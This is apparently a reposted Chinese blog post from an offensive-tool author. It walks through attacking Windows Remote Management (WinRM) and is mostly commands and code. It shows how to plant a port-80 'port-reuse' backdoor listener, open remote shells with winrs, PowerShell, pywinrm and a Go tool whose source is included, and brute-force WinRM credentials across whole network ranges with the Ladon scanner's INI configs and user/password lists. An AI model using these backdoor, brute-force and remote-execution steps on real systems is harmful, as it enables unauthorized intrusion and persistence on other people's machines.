zoukankan      html  css  js  c++  java
  • Winrm远程命令/端口复用后门/WinrmCmd/密码爆破

    简介

    WinRM是WindowsRemoteManagementd(win远程管理)的简称。基于Web服务管理(WS-Management)标准,使用80端口或者443端口。这样一来,我们就可以在对方有设置防火墙的情况下远程管理这台服务器了。

    Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。

    PS:WIN7或2008需要手动开户WINRM

    默认端口

    5985/tcp (HTTP)
    5986/tcp (HTTPS)

    快速启动WinRM

    winrm  quickconfig  -q 或 winrm qc
    

    端口复用后门

    对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。
    通过下面的命令,可以新增WinRM一个80端口的监听。

    winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
    

    PS:该方法适用于有web的机器,不会开启新端口,也不需要新的EXE进程或DLL劫持。

    Winrs远程执行命令

    需要客户端启用Winrm,SYS权限受限制

    客户端启用Winrm

    winrm quickconfig -q
    winrm set winrm/config/Client @{TrustedHosts="*"}

    远程执行CMD

    通过Winrs连接,并执行whoami命令

    winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami
    

    通过Winrs连接,并获得交互式的shell

    winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd
    

    PowerShell远程执行命令

    需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

    $ip="192.168.1.116"
    #$ip="192.168.1.20"
    Set-Item WSMan:localhostClientTrustedHosts -Value $ip -Force
    $securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520' 
    $cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword
    $cmd = {ls C:userspublic}
    Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd
    

    Pywinrm远程执行命令

    需要客户端启用Winrm,和系统自带命令一样,SYS权限受限制

    #C:Users
    ullDesktoppywinrm>python test1.py
    #win-k8gege
    import winrm
    s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok
    #s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail
    r=s.run_ps('dir')
    r=s.run_cmd('whoami') 
    print r.std_out 
    print  r.std_err
    

    Gowinrm远程执行命令

    Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制
    推荐使用版本,跨平台,任意权限,工具无需系统客外配置,也无需复杂安装。

    package main
    import (
      "github.com/masterzen/winrm"
      "fmt"
      "os"
      "strconv"
    )
    //Winrm Remote Shell by k8gege
    //http://k8gege.org/Ladon/WinrmScan.html
    #C:Usersk8gegeDesktop>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami
    #k8gege
    
    var help = func () {
        fmt.Println("Winrm Shell by k8gege")
        fmt.Println("====================================================")
        fmt.Println("winrmcmd host port user pass cmd")
    }
    
    func main() {
    
    	    args := os.Args
        if len(args) < 5 || args == nil {
    		help()
            return
        }
    	host := args[1]
    	port,err := strconv.Atoi(args[2])
    	user := args[3]
    	pass := args[4]
    	cmd := args[5]
    	
    	endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0)
    	client, err := winrm.NewClient(endpoint, user, pass)
    	if err != nil {
    		panic(err)
    	}
    client.Run(cmd, os.Stdout, os.Stderr)
    }
    

    C#版远程执行命令

    有两种方法,一种WSMAN,一种DCOM,都有缺限,一个在WIN7环境运行提示无效程序(在2012系统才正常),另一个在WIN7开发环境正常在2012系统不能使用,再者需启用Winrm还一样受权限限制,还不如用系统自带命令好。

    调用winrm爆破

    由于C#使用WSMan来访问winrm均在各种问题,还不如系统自带命令winrs。
    当前机器为中文,目标为英文系统,连接提示编码问题,设置对应编码即可
    其它语言系统,返回不一定是437,具体自行根据需要修改INI脚本。

    PS:GO版不受权限限制,也不受编码限制,建立使用GO版验证密码

    WinrmScan.ini
    [Ladon]
    #Brute-Force WinRM
    exe=cmd.exe
    arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
    #exe=WinrmScan.exe
    #arg=$ip$ $user$ $pass$
    port=5985
    isok=isok
    log=true
    

    注意:INI脚本必须为ANSI编码,当前机器与目标必须启用WINRM,且放行5985端口
    后门:如果被别人添加了复用后门,也可以直接爆破80端口,把5985改成80即可。

    调用WinrmCmd爆破

    Go版不受权限限制,也不需要客户端启用Winrm,也不像系统自带winrs编码限制

    [Ladon]
    #Brute-Force WinRM
    exe=winrmcmd.exe
    arg=$ip$ 5985 $user$ $pass$ "echo isok""
    #exe=WinrmScan.exe
    #arg=$ip$ $user$ $pass$
    isok=isok
    log=true
    

    Winrm密码爆破/暴力破解

    配置密码爆破参数

    INI脚本仅支持标准的user.txt和pass.txt帐密破解

    user & pass /传统帐密

    user.txt
    k8gege
    root

    pass.txt
    toor
    k8gege520

    指定IP

    Ladon 192.168.1.8 WinrmScan.ini
    

    扫描C段

    Ladon 192.168.1.8/c WinrmScan.ini
    Ladon 192.168.1.8/24 WinrmScan.ini
    

    扫描B段

    Ladon 192.168.1.8/b WinrmScan.ini
    

    扫描A段

    Ladon 192.168.1.8/a WinrmScan.ini
    

    批量IP

    ip.txt
    192.168.1.8
    192.168.1.5
    192.168.1.109:48

    Ladon WinrmScan.ini
    

    批量C段

    ip24.txt
    192.168.1.
    10.1.5.

    Ladon WinrmScan.ini
    

    批量B段

    ip16.txt
    192.168.
    10.1.

    Ladon  WinrmScan.ini
    

    如图,通过5985端口扫描1.20机器登陆口令
    image

    Ladon 7.3版本

    >= Ladon 7.3.0
    Update: 20200901

    Ladon 7.3版本添加了WinrmScan和WinrmExec功能
    详情参考:http://k8gege.org/Ladon/WinrmExec

    WinrmScan 5985密码爆破

    Ladon 192.168.1.8 WinrmScan
    Ladon 192.168.1.8/24 WinrmScan
    

    WinrmExec 远程执行命令

    1.无回显
    2.支持SYSTEM权限

    Usage:
    Ladon WinrmExec <Target> [Port] [Domain] [Username] [Password] <Command>
    Default Port is 5985
    Example:
    Ladon WinrmExec 192.168.1.116 . k8gege K8test520!@# calc.exe
    Ladon WinrmExec 192.168.1.116 80 . k8gege K8test520!@# calc.exe
    Ladon WinrmExec 192.168.1.116 5985 . k8gege K8test520!@# calc.exe
    

    Winrm密码爆破/端口复用后门

    相关知识点请参考:http://k8gege.org/Ladon/WinrmScan.html

    image

    工具下载

    最新版本:https://k8gege.org/Download
    历史版本: https://github.com/k8gege/Ladon/releases
    WinrmCmd: https://github.com/k8gege/WinrmCmd

  • 相关阅读:
    iOS
    iOS
    iOS
    iOS
    iOS(WKWebView)OC与JS交互 之三
    iOS(UIWebView 和WKWebView)OC与JS交互 之二
    CentOS VMware 下SSH配置方法详解
    15个nosql数据库
    MySql 优化
    Elasticsearch 相关名词理解
  • 原文地址:https://www.cnblogs.com/k8gege/p/13681734.html
Copyright © 2011-2022 走看看